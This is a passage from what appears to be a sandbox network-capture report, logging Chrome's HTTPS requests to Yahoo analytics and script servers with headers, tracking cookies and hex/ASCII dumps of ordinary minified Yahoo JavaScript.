cookieSyncConfig = {"datalen":25,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"\|","sepTime":"*","sepCs":"~~","vsDaTime":15552000,"cc":"US","zone":" e ","coc":"NA"},"cs":"1",
2024-01-10 23:27:12 UTC	5913	IN	Data Raw: 70 74 28 6c 2c 6e 2c 67 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 72 2e 73 65 74 49 6d 61 67 65 28 6c 29 7d 41 3d 74 2e 72 65 71 75 69 72 65 28 22 63 6f 6f 6b 69 65 69 6e 66 6f 73 74 6f 72 65 22 29 2c 65 2e 69 73 53 65 74 28 41 29 26 26 41 2e 6d 61 72 6b 52 65 71 75 65 73 74 53 65 6e 74 28 6e 29 7d 29 7d 63 61 74 63 68 28 63 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 29 7b 76 61 72 20 65 3b 72 65 74 75 72 6e 20 6d 2e 56 49 53 49 54 5f 49 44 7c 7c 28 65 3d 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 2c 6d 2e 56 49 53 49 54 5f 49 44 3d 28 65 2b 76 29 2e 73 6c 69 63 65 28 2d 33 32 29 29 2c 6d 2e 56 49 53 49 54 5f 49 44 7d 66 75 6e 63 74 69 6f 6e 20 64 28 72 29 7b 72 65 74 75 72 6e 20 72 3d 65 2e 72 65 70 6c 61 63 65 41 6c 6c 28 72 2c Data Ascii: pt(l,n,g);break;default:r.setImage(l)}A=t.require("cookieinfostore"),e.isSet(A)&&A.markRequestSent(n)})}catch(c){}}function m(){var e;return m.VISIT_ID\|\|(e=(new Date).getTime(),m.VISIT_ID=(e+v).slice(-32)),m.VISIT_ID}function d(r){return r=e.replaceAll(r,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	49885	34.200.65.202	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	1181	OUT	GET /ups/58831/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; IDSYNC="19cw~2g3z:19e0~2g3z"; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B
2024-01-10 23:27:13 UTC	560	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:13 GMT Content-Type: application/json Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Credentials: true Set-Cookie: IDSYNC="19cw~2g3z:19e0~2g3z:19e7~2g3z";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Thu, 09-Jan-2025 23:27:13 GMT;Secure;SameSite=None Vary: Origin P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Transfer-Encoding: chunked Connection: close Server: ATS/9.1.10.94
2024-01-10 23:27:13 UTC	54	IN	Data Raw: 33 30 0d 0a 7b 22 61 78 69 64 22 3a 20 22 79 2d 2e 73 6d 58 68 74 52 45 32 75 49 77 59 37 4b 63 4c 59 6e 51 53 42 76 37 50 42 47 75 2e 70 6f 47 7e 41 22 7d 0d 0a Data Ascii: 30{"axid": "y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A"}
2024-01-10 23:27:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	49886	34.200.65.202	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	969	OUT	GET /ups/58824/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; IDSYNC="19cw~2g3z:19e0~2g3z"; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B
2024-01-10 23:27:13 UTC	444	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:13 GMT Content-Type: application/json Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19cw~2g3z:19e0~2g3z";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Thu, 09-Jan-2025 23:27:13 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Transfer-Encoding: chunked Connection: close Server: ATS/9.1.10.94
2024-01-10 23:27:13 UTC	71	IN	Data Raw: 33 63 0d 0a 7b 22 61 78 69 64 22 3a 20 22 65 53 31 4e 59 56 4e 49 65 6d 78 47 52 54 4a 31 53 47 4e 69 62 31 55 30 54 6a 52 71 53 47 68 6d 62 6d 74 30 4e 6b 52 31 5a 33 52 6d 65 48 35 42 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3c{"axid": "eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	49887	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	539	OUT	GET /aaq/wf/wf-sticky-1.2.5-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:13 UTC	826	IN	HTTP/1.1 200 OK x-amz-id-2: Z7TTc+8toxLRIpg6BMeE4vc0Rs/1rKJSFwp67trEofp7bOSippgr5drCBMBNQRAQn2Vz5cGnHuE= x-amz-request-id: Q037H4P0RGG5CA63 Date: Wed, 10 Jan 2024 23:27:03 GMT Last-Modified: Mon, 13 Nov 2023 09:25:38 GMT ETag: "d93566e675193d1faba732f90a8abf25" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: WDxkEWe2ADBgGizBCqZTZWiRaB6aXgS0 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 8761 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 11 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 73 74 69 63 6b 79 22 2c 5b 5d 2c 65 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 73 74 69 63 6b 79 22 5d 3d 65 28 29 3a 28 74 2e 77 61 66 65 72 3d 74 2e 77 61 66 65 72 7c 7c 7b 7d 2c 74 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 74 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c Data Ascii: !function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("wafer-sticky",[],e):"object"==typeof exports?exports["wafer-sticky"]=e():(t.wafer=t.wafer\|\|{},t.wafer.wafers=t.wafer.wafers\|\|
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 65 26 26 6e 75 6c 6c 21 3d 3d 65 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 2c 20 6e 6f 74 20 22 2b 74 79 70 65 6f 66 20 65 29 3b 74 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 65 26 26 65 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 74 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 65 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a Data Ascii: unction"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Obj
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 6e 61 6c 6c 79 7b 69 66 28 72 29 74 68 72 6f 77 20 6e 7d 7d 72 65 74 75 72 6e 20 6f 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 3b 69 66 28 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 20 69 6e 20 4f 62 6a 65 63 74 28 65 29 29 72 65 74 75 72 6e 20 74 28 65 2c 6f 29 3b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 61 74 74 65 6d 70 74 20 74 6f 20 64 65 73 74 72 75 63 74 75 72 65 20 6e 6f 6e 2d 69 74 65 72 61 62 6c 65 20 69 6e 73 74 61 6e 63 65 22 29 7d 7d 28 29 2c 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 65 2e 6c 65 6e 67 74 Data Ascii: nally{if(r)throw n}}return o}return function(e,o){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,o);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),y=function(){function t(t,e){for(var o=0;o<e.lengt
2024-01-10 23:27:13 UTC	809	IN	Data Raw: 73 6e 61 6d 65 3a 67 2c 65 6c 65 6d 3a 74 2c 74 61 72 67 65 74 45 6c 65 6d 3a 6c 26 26 28 61 26 26 6d 28 74 2c 61 29 7c 7c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6c 29 7c 7c 74 2c 6f 66 66 73 65 74 42 6f 74 74 6f 6d 3a 76 6f 69 64 20 30 21 3d 3d 62 26 26 62 2c 6f 66 66 73 65 74 4c 65 66 74 3a 76 6f 69 64 20 30 21 3d 3d 76 26 26 76 2c 6f 66 66 73 65 74 52 69 67 68 74 3a 76 6f 69 64 20 30 21 3d 3d 68 26 26 68 2c 6f 66 66 73 65 74 54 6f 70 3a 76 6f 69 64 20 30 21 3d 3d 64 26 26 64 2c 73 74 69 63 6b 79 50 6f 73 69 74 69 6f 6e 3a 63 7d 29 3b 76 61 72 20 6b 3d 73 2e 5f 75 74 69 6c 2e 74 61 72 67 65 74 45 6c 65 6d 2c 5f 3d 6b 2e 73 74 79 6c 65 2c 4f 3d 5f 2e 62 6f 74 74 6f 6d 2c 53 3d 5f 2e 6c 65 66 74 2c 6a 3d 5f Data Ascii: sname:g,elem:t,targetElem:l&&(a&&m(t,a)\|\|document.body).querySelector(l)\|\|t,offsetBottom:void 0!==b&&b,offsetLeft:void 0!==v&&v,offsetRight:void 0!==h&&h,offsetTop:void 0!==d&&d,stickyPosition:c});var k=s._util.targetElem,_=k.style,O=_.bottom,S=_.left,j=_
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 74 69 63 6b 79 28 22 72 65 73 69 7a 65 22 29 7d 29 2c 74 68 69 73 2e 5f 73 74 61 74 65 2e 73 63 72 6f 6c 6c 43 6f 6e 74 61 69 6e 65 72 4f 62 73 65 72 76 65 72 2e 6f 62 73 65 72 76 65 28 65 2c 7b 63 68 69 6c 64 4c 69 73 74 3a 21 30 2c 73 75 62 74 72 65 65 3a 21 30 7d 29 7d 7d 7d 2c 7b 6b 65 79 3a 22 75 70 64 61 74 65 53 74 69 63 6b 79 50 72 6f 70 65 72 74 69 65 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 2c 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 74 61 72 67 65 74 45 6c 65 6d 3b 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 65 2e 73 74 79 6c 65 2c 7b 77 69 64 Data Ascii: ticky("resize")}),this._state.scrollContainerObserver.observe(e,{childList:!0,subtree:!0})}}},{key:"updateStickyProperties",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},e=this._util.targetElem;Object.assign(e.style,{wid
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 3d 7b 7d 3b 69 66 28 22 62 6f 74 74 6f 6d 22 3d 3d 3d 61 3f 70 2e 62 6f 74 74 6f 6d 3d 70 61 72 73 65 49 6e 74 28 72 2c 31 30 29 2b 22 70 78 22 3a 70 2e 74 6f 70 3d 79 2d 75 2d 70 61 72 73 65 49 6e 74 28 72 2c 31 30 29 2b 22 70 78 22 2c 6e 3f 70 2e 6c 65 66 74 3d 6e 3a 73 26 26 28 70 2e 72 69 67 68 74 3d 73 29 2c 74 68 69 73 2e 5f 73 74 61 74 65 2e 69 73 53 74 69 63 6b 79 3d 21 30 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 6c 2e 73 74 79 6c 65 2c 7b 70 6f 73 69 74 69 6f 6e 3a 22 66 69 78 65 64 22 7d 2c 70 29 2c 6c 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 73 74 69 63 6b 79 2d 66 6c 6f 77 22 29 2c 65 29 7b 76 61 72 20 64 3b 28 64 3d 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 6c 61 73 73 4c 69 73 74 29 2e 61 64 64 2e 61 70 70 6c 79 28 64 2c 69 28 Data Ascii: ={};if("bottom"===a?p.bottom=parseInt(r,10)+"px":p.top=y-u-parseInt(r,10)+"px",n?p.left=n:s&&(p.right=s),this._state.isSticky=!0,Object.assign(l.style,{position:"fixed"},p),l.classList.add("sticky-flow"),e){var d;(d=document.body.classList).add.apply(d,i(
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 3d 3d 3d 6e 3f 31 35 3a 6e 3b 61 28 74 68 69 73 2c 65 29 3b 76 61 72 20 63 3d 6c 28 74 68 69 73 2c 28 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 29 29 2e 63 61 6c 6c 28 74 68 69 73 2c 7b 72 6f 6f 74 3a 69 2c 73 65 6c 65 63 74 6f 72 3a 72 2c 70 72 6f 70 73 3a 7b 73 65 6c 65 63 74 6f 72 3a 72 7d 2c 57 61 66 65 72 43 6c 61 73 73 3a 5f 7d 29 29 3b 72 65 74 75 72 6e 20 63 2e 5f 76 61 6c 69 64 61 74 65 57 69 74 68 54 68 72 6f 74 74 6c 65 3d 43 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 2c 65 3d 74 2e 73 6f 75 72 63 65 Data Ascii: ===n?15:n;a(this,e);var c=l(this,(e.__proto__\|\|Object.getPrototypeOf(e)).call(this,{root:i,selector:r,props:{selector:r},WaferClass:_}));return c._validateWithThrottle=C(function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},e=t.source
2024-01-10 23:27:13 UTC	152	IN	Data Raw: 6f 77 28 69 29 3a 6c 26 26 76 2d 62 3e 3d 30 3f 6e 2e 72 65 6d 6f 76 65 53 74 69 63 6b 79 28 69 29 3a 76 2d 62 3c 30 26 26 6e 2e 61 64 64 53 74 69 63 6b 79 28 69 29 7d 65 6c 73 65 20 65 2e 68 61 6e 64 6c 65 53 65 6c 66 53 74 69 63 6b 79 28 79 2c 6e 2c 69 29 7d 29 7d 7d 5d 29 2c 65 7d 28 78 29 2c 52 3d 41 3b 65 2e 64 65 66 61 75 6c 74 3d 6e 65 77 20 52 28 7b 73 65 6c 65 63 74 6f 72 3a 22 2e 77 61 66 65 72 2d 73 74 69 63 6b 79 22 7d 29 7d 7d 29 7d 29 3b Data Ascii: ow(i):l&&v-b>=0?n.removeSticky(i):v-b<0&&n.addSticky(i)}else e.handleSelfSticky(y,n,i)})}}]),e}(x),R=A;e.default=new R({selector:".wafer-sticky"})}})});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	49888	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	541	OUT	GET /aaq/c/4820b7f.caas-news_web.min.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:13 UTC	853	IN	HTTP/1.1 200 OK x-amz-id-2: D7/sb1QT8+OAwWZQcWgb/LUnXHmnzu5/yEeeUSU74Ck89C1+jZsIS+5gDRL9ecWjQQuZltTGeJE= x-amz-request-id: WTHH3MEP8VWAX0H6 Date: Wed, 10 Jan 2024 22:11:29 GMT Last-Modified: Wed, 10 Jan 2024 10:42:55 GMT ETag: "35e7c7749099bcc6ab291db5b2733a15" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: FTrLEIk_kn8LY.RN5sl6WfS.wFykNrAi Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 118720 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 4545 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 43 41 41 53 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 43 41 41 53 3d 74 28 29 3a 65 2e 43 41 41 53 3d 74 28 29 7d 28 73 65 6c 66 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 73 2c 6f 2c 61 3d 7b 22 2e 2f 6e 6f 64 65 5f 6d Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("CAAS",[],t):"object"==typeof exports?exports.CAAS=t():e.CAAS=t()}(self,(function(){return function(){var e,t,s,o,a={"./node_m
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 2e 73 65 6c 65 63 74 6f 72 29 3b 66 6f 72 28 6c 65 74 20 6f 3d 73 2e 6c 65 6e 67 74 68 3b 6f 2d 2d 3b 74 2e 75 6e 73 68 69 66 74 28 73 5b 6f 5d 29 29 3b 72 65 74 75 72 6e 20 74 2e 66 69 6c 74 65 72 28 28 74 3d 3e 21 28 30 2c 6f 2e 68 61 73 43 6c 61 73 73 29 28 74 2c 65 2e 73 75 63 63 65 73 73 43 6c 61 73 73 29 29 29 7d 28 65 2e 6f 70 74 69 6f 6e 73 29 2c 74 2e 63 6f 75 6e 74 3d 74 2e 65 6c 65 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 74 2e 64 65 73 74 72 6f 79 65 64 29 7b 63 6f 6e 73 74 7b 61 64 64 54 6f 75 63 68 4d 6f 76 65 4c 69 73 74 65 6e 65 72 3a 73 2c 63 6f 6e 74 61 69 6e 65 72 3a 61 7d 3d 65 2e 6f 70 74 69 6f 6e 73 3b 74 2e 64 65 73 74 72 6f 79 65 64 3d 21 31 2c 61 26 26 28 30 2c 6f 2e 65 61 63 68 29 28 61 2c 28 Data Ascii: SelectorAll(e.selector);for(let o=s.length;o--;t.unshift(s[o]));return t.filter((t=>!(0,o.hasClass)(t,e.successClass)))}(e.options),t.count=t.elements.length,t.destroyed){const{addTouchMoveListener:s,container:a}=e.options;t.destroyed=!1,a&&(0,o.each)(a,(
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 65 26 26 28 30 2c 6f 2e 67 65 74 41 74 74 72 29 28 65 2c 22 64 61 74 61 2d 64 61 72 6b 2d 73 72 63 22 29 7c 7c 28 30 2c 6f 2e 67 65 74 41 74 74 72 29 28 65 2c 6c 29 7c 7c 28 30 2c 6f 2e 67 65 74 41 74 74 72 29 28 65 2c 73 2e 73 72 63 29 3b 69 66 28 74 29 7b 63 6f 6e 73 74 20 61 3d 74 2e 73 70 6c 69 74 28 73 2e 73 65 70 61 72 61 74 6f 72 29 2c 69 3d 61 5b 6e 26 26 61 2e 6c 65 6e 67 74 68 3e 31 3f 31 3a 30 5d 2c 6c 3d 28 30 2c 6f 2e 67 65 74 41 74 74 72 29 28 65 2c 73 2e 73 72 63 73 65 74 29 2c 63 3d 72 28 65 2c 22 69 6d 67 22 29 2c 6d 3d 65 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 68 3d 6d 26 26 72 28 6d 2c 22 70 69 63 74 75 72 65 22 29 3b 69 66 28 63 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 2e 73 72 63 29 7b 6c 65 74 20 74 3d 64 3f 65 3a 6e 65 77 20 49 6d 61 67 65 Data Ascii: e&&(0,o.getAttr)(e,"data-dark-src")\|\|(0,o.getAttr)(e,l)\|\|(0,o.getAttr)(e,s.src);if(t){const a=t.split(s.separator),i=a[n&&a.length>1?1:0],l=(0,o.getAttr)(e,s.srcset),c=r(e,"img"),m=e.parentNode,h=m&&r(m,"picture");if(c\|\|void 0===e.src){let t=d?e:new Image
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 2c 73 2e 64 65 73 74 72 6f 79 65 64 3d 21 30 2c 74 2e 6f 70 74 69 6f 6e 73 3d 65 7c 7c 7b 7d 2c 74 2e 6f 70 74 69 6f 6e 73 2e 61 64 64 54 6f 75 63 68 4d 6f 76 65 4c 69 73 74 65 6e 65 72 3d 74 2e 6f 70 74 69 6f 6e 73 2e 61 64 64 54 6f 75 63 68 4d 6f 76 65 4c 69 73 74 65 6e 65 72 7c 7c 21 31 2c 74 2e 6f 70 74 69 6f 6e 73 2e 63 6f 6e 74 61 69 6e 65 72 3d 21 21 74 2e 6f 70 74 69 6f 6e 73 2e 63 6f 6e 74 61 69 6e 65 72 43 6c 61 73 73 26 26 74 2e 6f 70 74 69 6f 6e 73 2e 72 6f 6f 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 60 2e 24 7b 74 2e 6f 70 74 69 6f 6e 73 2e 63 6f 6e 74 61 69 6e 65 72 43 6c 61 73 73 7d 60 29 2c 74 2e 6f 70 74 69 6f 6e 73 2e 65 72 72 6f 72 3d 74 2e 6f 70 74 69 6f 6e 73 2e 65 72 72 6f 72 7c 7c 21 31 2c 74 2e 6f 70 74 69 6f 6e 73 Data Ascii: ,s.destroyed=!0,t.options=e\|\|{},t.options.addTouchMoveListener=t.options.addTouchMoveListener\|\|!1,t.options.container=!!t.options.containerClass&&t.options.root.querySelectorAll(`.${t.options.containerClass}`),t.options.error=t.options.error\|\|!1,t.options
